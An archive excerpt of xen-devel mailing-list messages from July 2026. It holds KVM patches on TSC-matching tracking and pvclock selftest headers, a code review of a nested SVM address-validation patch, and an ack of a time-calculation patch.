	JNCWozAd2Tm3OIPcpECeNpzaB0nWzmoUHOlo25IZHiSsRXA8WkwWfRkivYLeVi2Ql6nIMyZr/6cN2
	hk7TzoiQJqvBLvdrkRxnqV9VMszyqZVxinmFPgXX9iTUn2knE7O9gqHZ2vzq2UEdzzjwt4r8uJVKD
	IbngnRVRx+EOrhmOKu8OF0gWy9ywFBg0RaybNSIucFtxxTOn6QjwuftuHS/I4uOIFhz+nYL58Hfb1
	M69m13yw==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 16/36] KVM: x86: Replace nr_vcpus_matched_tsc count with all_vcpus_matched_tsc bool
Date: Tue, 28 Jul 2026 15:39:56 +0100
Message-ID: <20260728144954.355376-17-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-d25034/1785250222-01CC3A5B-3DFB382D/0/0
X-purgate-type: clean
X-purgate-size: 2850

From: David Woodhouse <dwmw@amazon.co.uk>

Using a count and comparing with kvm->online_vcpus was always racy
because a new vCPU could be created while kvm_track_tsc_matching() was
running and comparing with kvm->online_vcpus. That variable is only
atomic with respect to itself; kvm_arch_vcpu_create() runs before
kvm->online_vcpus is incremented for the new vCPU.

Replace the count with a boolean that is set in kvm_track_tsc_matching()
after comparing the count, and cleared when a new TSC generation starts.
The boolean is consumed by pvclock_update_vm_gtod_copy() under the
tsc_write_lock, which serializes against __kvm_synchronize_tsc().

Keep the count for now as it's still used in the trace event.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/include/asm/kvm_host.h |  1 +
 arch/x86/kvm/x86.c              | 10 ++++++----
 2 files changed, 7 insertions(+), 4 deletions(-)

diff --git a/arch/x86/include/asm/kvm_host.h b/arch/x86/include/asm/kvm_host.h
index 2f01f3f9ba97..46919fe1cf4b 100644
--- a/arch/x86/include/asm/kvm_host.h
+++ b/arch/x86/include/asm/kvm_host.h
@@ -1238,6 +1238,7 @@ struct kvm_arch {
 	u64 cur_tsc_write;
 	u64 cur_tsc_offset;
 	u64 cur_tsc_generation;
+	bool all_vcpus_matched_tsc;
 	int nr_vcpus_matched_tsc;
 
 	u32 default_tsc_khz;
diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index dceb6d3660a2..d3c4009b92bc 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -1112,8 +1112,10 @@ static void kvm_track_tsc_matching(struct kvm_vcpu *vcpu, bool new_generation)
 	 * and all vCPUs must have matching TSCs.  Note, the count for matching
 	 * vCPUs doesn't include the reference vCPU, hence "+1".
 	 */
-	bool use_master_clock = (ka->nr_vcpus_matched_tsc + 1 ==
-				 atomic_read(&vcpu->kvm->online_vcpus)) &&
+	ka->all_vcpus_matched_tsc = (ka->nr_vcpus_matched_tsc + 1 ==
+				     atomic_read(&vcpu->kvm->online_vcpus));
+
+	bool use_master_clock = ka->all_vcpus_matched_tsc &&
 				gtod_is_based_on_tsc(gtod->clock.vclock_mode);
 
 	/*
@@ -1298,6 +1300,7 @@ static void __kvm_synchronize_tsc(struct kvm_vcpu *vcpu, u64 offset, u64 tsc,
 		kvm->arch.cur_tsc_write = tsc;
 		kvm->arch.cur_tsc_offset = offset;
 		kvm->arch.nr_vcpus_matched_tsc = 0;
+		kvm->arch.all_vcpus_matched_tsc = false;
 	} else if (vcpu->arch.this_tsc_generation != kvm->arch.cur_tsc_generation) {
 		kvm->arch.nr_vcpus_matched_tsc++;
 	}
@@ -1614,8 +1617,7 @@ static void pvclock_update_vm_gtod_copy(struct kvm *kvm)
 	bool host_tsc_clocksource, vcpus_matched;
 
 	lockdep_assert_held(&kvm->arch.tsc_write_lock);
-	vcpus_matched = (ka->nr_vcpus_matched_tsc + 1 ==
-			atomic_read(&kvm->online_vcpus));
+	vcpus_matched = ka->all_vcpus_matched_tsc;
 
 	/*
 	 * If the host uses TSC clock, then passthrough TSC as stable
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:51:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:51:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374549.1621936 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj9A-0008Sp-4X; Tue, 28 Jul 2026 14:51:08 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374549.1621936; Tue, 28 Jul 2026 14:51:07 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj98-0008MR-92; Tue, 28 Jul 2026 14:51:06 +0000
Received: by outflank-mailman (input) for mailman id 1374549;
 Tue, 28 Jul 2026 14:50:33 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1woj8a-0001Jy-JH
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8Z-004rVO-UR; Tue, 28 Jul 2026 16:50:31 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c1a9-bab6-0a2a0a5309dd-0a2a4502e3e6-6
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:23 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c1ae-6ca4-0a2a45020019-5a9b3222b0a6-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:22 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1woj80-0000000DUP6-2hqC; Tue, 28 Jul 2026 14:49:57 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj80-00000001UZl-1jZF;
 Tue, 28 Jul 2026 15:49:56 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=u9O6eMJWPEiCuOzOKx7hWrotGcpuvpoKHiLFSq+dRQ8=; b=osmvVwXK3BKgOGHTz3sUtx96/m
	MVqS38yzmvoisPEV4JzC8iatafIsLOvPbq2WoaXL0eyurSYWe5ZpyEbk/fKjgX1Y219V0NhLiNLjy
	sfBFcLNp+K8sW9GeErWzYSt+wDd3mUdylsDI1Xn7LH7jfI0/x6W4NIsX914Bc3mhweI6xCi2PANEg
	ZRA1YaIJytIo+pGgSqv/toZ6/5C3A0M+6a8jTklX5vbPhL7B0HDJCcIZxACI3vdi+XiIUT3fQEmUn
	OqhvYfXy+wTehcYsu2OnMeXQRIetKHLG2LEWFUwd/8tlL85xjmTwJ6uEfe+n4ac0zT5aatCCpYHSS
	Qi/4nLtA==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 30/36] KVM: selftests: Use UAPI pvclock-abi.h in xen_shinfo_test
Date: Tue, 28 Jul 2026 15:40:10 +0100
Message-ID: <20260728144954.355376-31-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-720697/1785250223-313CC2AC-F7E6D4E7/0/0
X-purgate-type: clean
X-purgate-size: 1138

From: David Woodhouse <dwmw@amazon.co.uk>

Now that pvclock-abi.h is a UAPI header, use it in xen_shinfo_test.c
instead of locally duplicating the struct definitions.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 .../testing/selftests/kvm/x86/xen_shinfo_test.c | 17 +----------------
 1 file changed, 1 insertion(+), 16 deletions(-)

diff --git a/tools/testing/selftests/kvm/x86/xen_shinfo_test.c b/tools/testing/selftests/kvm/x86/xen_shinfo_test.c
index 5076f6a75455..2f241ca4f096 100644
--- a/tools/testing/selftests/kvm/x86/xen_shinfo_test.c
+++ b/tools/testing/selftests/kvm/x86/xen_shinfo_test.c
@@ -98,22 +98,7 @@ struct sched_poll {
 	u64 timeout;
 };
 
-struct pvclock_vcpu_time_info {
-	u32   version;
-	u32   pad0;
-	u64   tsc_timestamp;
-	u64   system_time;
-	u32   tsc_to_system_mul;
-	s8    tsc_shift;
-	u8    flags;
-	u8    pad[2];
-} __attribute__((__packed__)); /* 32 bytes */
-
-struct pvclock_wall_clock {
-	u32   version;
-	u32   sec;
-	u32   nsec;
-} __attribute__((__packed__));
+#include <asm/pvclock-abi.h>
 
 struct vcpu_runstate_info {
 	u32 state;
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 15:01:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 15:01:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374779.1621978 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wojIe-0000cZ-1J; Tue, 28 Jul 2026 15:00:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374779.1621978; Tue, 28 Jul 2026 15:00:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wojId-0000cS-U1; Tue, 28 Jul 2026 15:00:55 +0000
Received: by outflank-mailman (input) for mailman id 1374779;
 Tue, 28 Jul 2026 15:00:54 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wojIc-0000cI-GD
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:00:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wojIb-003BtE-T9
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 17:00:53 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68c423-e002-0a2a0a5209dd-0a2a4508c94a-18
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:00:53 +0200
Received: from [209.85.221.41] (helo=mail-wr1-f41.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68c41e-f659-0a2a45080019-d155dd29ecca-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:00:46 +0200
Received: by mail-wr1-f41.google.com with SMTP id
 ffacd0b85a97d-476a130c138so3840792f8f.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:00:46 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85bb5127sm55508190f8f.10.2026.07.28.08.00.44
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 08:00:44 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785250846; x=1785855646; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=wPQQkSUXoLyxyOGvFk8p9mPWtMRW8n0qcRhV4Jq23B4=;
        b=ARGSROgSu0kh0Kur85EV0MSnper2RW8/Uy2tbtU+/qyqwoEPuy8qEGFGs/wfKG9iax
         m419FZGQf3At9DDKvFZBgGb6siQjf+TY+/KUdI89kRtmvN8if0y8LWoyCGS9BuHfQPv+
         5sOeYg1vN8lJbRJlshS4vgHMWrMIoSLB1xDEoyjtoeeN/8HwHoYg+EqtuOagMjwQdJCY
         OM2EFx7FAFhYZZZhiiEGpWUDzorW5itE1delNqRYiCo+EjcPI5v41vXNJ6TC0s7nrihm
         VESQONtCJSpvnd8tKI2AR6yGgtEURuqwabuGdpfvr81pKGKdx6cIbtPaDaK58mfzAEWr
         mjow==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785250846; x=1785855646;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=wPQQkSUXoLyxyOGvFk8p9mPWtMRW8n0qcRhV4Jq23B4=;
        b=S2dD++B5R3I9qmPCNbuXUzDZm93RnQjppb4e8YL49h640E65heyb5qpPPaprtUQWL+
         sEZGcG+Ob4nwJ+UzChOEjIxDj3L3G2CHChMMYFkK0/SwE5jBicwhwFJmFIsAU6bkIMaC
         7m8ddI8GWZoh3tRB8cY/cOyvXT+6r5NQ/XkgCaaHpXAeQxiue7y9voZq+zGTbv7rtG28
         cm+rriEr29lejqLtULnfm1dddoQDfDqfbHtHKX7Z71ueMFsNLSOAQhDuj8ErdmU19HUa
         xrG2kaJVkrr5liC60lKJl+YUW9XcTT24/TuVUQA/TtGYL2HAb7eeu6KL4MleDPpN30u+
         4rkg==
X-Forwarded-Encrypted: i=1; AHgh+Roblx+tYLKxigC+j0E4fOSJPxLg45i4W/fLJu5+IaJrcFih5+l5Kk0cM8QE70nvu7WWB8OzKMt/3MM=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzmtfXYXnHufIUGhfPgSDGvU4RzBo8YMUTi45gnznlcjr/41mSW
	HWavtUX7LOpZ4PyP3BjXLrCaAYIRJBRd4sORIMUxjqLu2jz46ISdfEm6mTQ7dpBzFA==
X-Gm-Gg: AR+sD13rHZJpJhpvq27Wu03IS0btYUuhOADfFwks8QvmK5Yq8rdMJihplz5DB+vlIWr
	swoI25mjYKLce2Vjzm4DOib2NbF8/oT4/1MuumuSogaa6Iz+46oCG8mS3PgLR8dYHSAE2TMiSHb
	q2DUCkMKHcZ82hWpCbZlIWRiXdUXZr5OFRgGbPPlVP4qB87uKCRqqGkhuPvzStEflS6YrWfJqYo
	2KGzhArRsHS+kmC0wDs9yRl0PTyQQqnKkDrI0HITpdvCNljblMEf5eRFwresugzHD+19ojliKMM
	yLqb8VMftYvdOrSy+0qRpLjA4ua9DJs1DbHnJ35ryrs4Z5hLVISzMg9abVL7zUhzpXTgsyGlAeg
	hppZ0xTiB9NXeMRW2ROJdRKUKtjwy8VS7+dUEfo2BEaBMBMBhtuQdXctrfNeNJkiqhPHlNtR1ix
	4tEKeTg+1ELRV3UAYJ0qF8jtM/MwBdFuff+Y8O4xsDpEcfA7exnNziF/vxrbnbHBuw+Q==
X-Received: by 2002:a05:6000:2284:b0:47f:6981:a043 with SMTP id ffacd0b85a97d-47fb1e96474mr3450757f8f.26.1785250845407;
        Tue, 28 Jul 2026 08:00:45 -0700 (PDT)
Message-ID: <6cacbf75-7dc2-4eee-9791-8d434446165a@suse.com>
Date: Tue, 28 Jul 2026 17:00:43 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1] x86/nSVM: Check the L1 IOPM_BASE and MSRPM_BASE
 assigned physical addresses
To: Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>
Cc: andrew.cooper3@citrix.com, jason.andryuk@amd.com, teddy.astie@vates.tech,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 xen-devel@lists.xenproject.org
References: <8f7c6601af60656025e5aeb0d2e8e1359d8c58f9.1785231704.git.abdelkareem.abdelsaamad@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 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fcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <8f7c6601af60656025e5aeb0d2e8e1359d8c58f9.1785231704.git.abdelkareem.abdelsaamad@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1785250846-D715E87B-F73ADE55/0/0
X-purgate-type: clean
X-purgate-size: 2008

On 28.07.2026 13:41, Abdelkareem Abdelsaamad wrote:
> --- a/xen/arch/x86/hvm/svm/nestedsvm.c
> +++ b/xen/arch/x86/hvm/svm/nestedsvm.c
> @@ -18,6 +18,8 @@
>  
>  #define NSVM_ERROR_VVMCB        1
>  #define NSVM_ERROR_VMENTRY      2
> +#define IOPM_MAX_PAGES_DIFF     2
> +#define MSRPM_MAX_PAGES_DIFF    1

I see little value in these constants, the more that from their names alone
one cannot infer what they're meant to represent. Furthermore the difference
between the two checks you add makes clear that in the latter one you open-
code MSRPM_MAX_PAGES_DIFF being 1.

> @@ -282,7 +284,7 @@ static int nsvm_vcpu_hostrestore(struct vcpu *v, struct cpu_user_regs *regs)
>      return 0;
>  }
>  
> -static int nsvm_vmrun_permissionmap(struct vcpu *v, bool viopm)
> +static int nsvm_vmrun_permissionmap(struct vcpu *v)
>  {
>      struct svm_vcpu *arch_svm = &v->arch.hvm.svm;
>      struct nestedsvm *svm = &vcpu_nestedsvm(v);
> @@ -295,6 +297,23 @@ static int nsvm_vmrun_permissionmap(struct vcpu *v, bool viopm)
>      unsigned long *ns_viomap;
>      bool ioport_80 = true, ioport_ed = true;
>  
> +    if ( (domain_get_maximum_gpfn(v->domain) < IOPM_MAX_PAGES_DIFF) ||

Leaving aside that it's questionable whether a domain with just two pages
can actually run sensibly, I think there's an off-by-one here, but I
further think the check isn't needed. After all ...

> +         (gfn_x(_gfn(ns_vmcb->_iopm_base_pa >> PAGE_SHIFT)) >

... the shift here guarantees that adding IOPM_MAX_PAGES_DIFF to the
result would not overflow (unless that constant was really huge).

Also please use gaddr_to_gfn() (or PFN_DOWN()) instead of open-coding.

> +          (domain_get_maximum_gpfn(v->domain) - IOPM_MAX_PAGES_DIFF)) )
> +    {
> +        gdprintk(XENLOG_ERR, "nsvm_vmrun_permissionmap invalid _iopm_base_pa"
> +                 " address (%#"PRIx64")\n", ns_vmcb->_iopm_base_pa);

When you want the function name in a log message, please use __func__.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 15:03:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 15:03:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374786.1621987 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wojKh-0001gF-BR; Tue, 28 Jul 2026 15:03:03 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374786.1621987; Tue, 28 Jul 2026 15:03:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wojKh-0001g8-80; Tue, 28 Jul 2026 15:03:03 +0000
Received: by outflank-mailman (input) for mailman id 1374786;
 Tue, 28 Jul 2026 15:03:02 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger.pau@citrix.com>) id 1wojKf-0001g2-Vt
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:03:01 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger.pau@citrix.com>) id 1wojKf-00DTlH-0t;
 Tue, 28 Jul 2026 15:03:01 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger.pau@citrix.com>) id 1wojKe-007zid-29;
 Tue, 28 Jul 2026 15:03:00 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Date: Tue, 28 Jul 2026 17:02:54 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger.pau@citrix.com>
To: Jan Beulich <jbeulich@suse.com>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>
Subject: Re: [PATCH v2 2/4] time: shorten year determination loop
Message-ID: <amjEnux2uyhYL-pu@macbook.local>
References: <79d50725-3892-4643-b854-bfec9c0c0d79@suse.com>
 <7bed7164-9a53-4e53-9fc1-7af68108bdf8@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <7bed7164-9a53-4e53-9fc1-7af68108bdf8@suse.com>

On Thu, Jul 02, 2026 at 11:30:11AM +0200, Jan Beulich wrote:
> For dates very far into the future (the MC146818 RTC's century byte can go
> up to the 99th century), the present year-wise loop would become somewhat
> inefficient (taking perhaps several thousand iterations). Prefix that loop
> with a 400-year granular calculation (somewhat like the earlier loop does
> for dates in the past).
> 
> Signed-off-by: Jan Beulich <jbeulich@suse.com>

Acked-by: Roger Pau MonnÃ© <roger@xenproject.org>

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 15:30:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 15:30:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374858.1622138 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wojkm-0002WL-Pi; Tue, 28 Jul 2026 15:30:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374858.1622138; Tue, 28 Jul 2026 15:30:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wojkm-0002WE-NA; Tue, 28 Jul 2026 15:30:00 +0000
Received: by outflank-mailman (input) for mailman id 1374858;
 Tue, 28 Jul 2026 15:29:59 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wojkl-0002W8-HW
